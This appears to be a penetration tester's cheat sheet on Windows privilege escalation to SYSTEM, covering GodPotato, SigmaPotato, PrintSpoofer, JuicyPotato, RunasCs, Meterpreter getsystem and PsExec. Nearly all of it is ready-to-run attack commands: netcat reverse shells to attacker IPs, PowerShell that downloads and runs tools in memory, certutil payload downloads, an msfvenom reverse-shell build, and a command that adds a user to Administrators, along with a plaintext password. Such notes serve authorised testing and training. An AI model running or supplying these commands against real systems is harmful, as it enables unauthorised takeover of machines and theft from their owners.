Quick win

Any users with impersonate privileges to NT AUTHORITY\SYSTEM

- User privileges and potato exploit

JuicyPotato doesn't work on Windows Server 2019 and Windows 10 build 1809 onwards. However, PrintSpoofer, RoguePotato, SharpEfsPotato, GodPotato can be used to leverage the same privileges and gain NT AUTHORITY\SYSTEM level access. This blog post goes in-depth on the PrintSpoofer tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.

>whoami /priv

# Find SeImpersonatePrivilege 

# Use SigmaPoato - Improved God potato 
# https://github.com/tylerdotrar/SigmaPotato
# In memory attack. Find other attacks at github site
Kali> rlwrap nc -nlvp 1236
CMD> powershell
PS> [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://10.10.14.16/privesc/SigmaPotato.exe"))
[SigmaPotato]::Main(@("--revshell","10.10.14.16","1236"))

# Use God potato to rule them all as of 8/27/2023
# https://github.com/BeichenDream/GodPotato
CMD> certutil -urlcache -split -f http://10.10.14.16/nc.exe
Kali> rlwrap nc -nlvp 1235
CMD> GodPotato-NET4.exe -cmd "nc.exe -t -e C:\Windows\System32\cmd.exe 10.10.14.16 1235"

# Printspoofer
# https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/ 

CMD> .\PrintSpoofer64.exe -i -c cmd

# Use Local Potato to rule them all - Local Potato or Sweet Potato as pf 12/22/2022

# If you do not want to use Local Potato or Sweet Potato:

#    If the machine is >= Windows 10 1809 & Windows Server 2019 - Try Rogue Potato

#    If the machine is < Windows 10 1809(or 1803) < Windows Server 2019 and/or only x86- Try Juicy Potato

# https://github.com/ivanitlearning/Juicy-Potato-x86 
Kali> msfvenom -p windows/shell_reverse_tcp lhost=192.168.45.183 lport=443 -f exe -o shell.exe
CMD> certutil -urlcache -split -f http://192.168.45.183/j.exe # Juicy Potato
CMD> certutil -urlcache -split -f http://192.168.45.183/shell.exe # reverse shell

Kali> rlwrap nc -nlvp 443
CMD> j.exe  -l 443 -p C:\wamp\bin\apache\Apache2.2.21\shell.exe -t * -c {69AD4AEE-51BE-439b-A92C-86AE490E8B30}

https://github.com/BeichenDream/GodPotato

Potato section in this guide

Privilege Escalation Abusing TokensHackTricks

Normal User to Local Administrator or More Privileges

- Add Ourselves to the group - Normal Users to Local Administrator

net localgroup Administrators [username] /add

- RunasCS - Local Administrator with having more privileges (as well as logon as a different user)

# Run if you see a user in Local Administrators group
# https://github.com/antonioCoco/RunasCs/ 
# Try if you can add BypassUac and LogonType options

Kali> rlwrap nc -nlvp 444
PS> IEX (new-Object Net.WebClient).DownloadString('http://10.10.14.35/privesc/Invoke-RunasCs.ps1');Invoke-RunasCs -Username backup -Password 'hjqNspenHcyyAwNqxfJAmFcAtiKThvpotaZpglDs' -BypassUac -LogonType 8 -Command cmd.exe -Remote 10.10.14.35:4444 

Local Administrator to System

If you have a Metasploit meterpreter session going, you can run getsystem.

# load the ‘priv’ extension

meterpreter > use priv
Loading extension priv...success.
meterpreter >

# getsystem
# local administrator to SYSTEM

meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

To escalate from an admin user to full SYSTEM privileges, you can use the PsExec tool from Windows Sysinternals.(https://docs.microsoft.com/enus/sysinternals/downloads/psexec).

> .\PsExec64.exe -accepteula -i -s cmd.exe
> .\PsExec64.exe -accepteula -i -s C:\PrivEsc\reverse.exe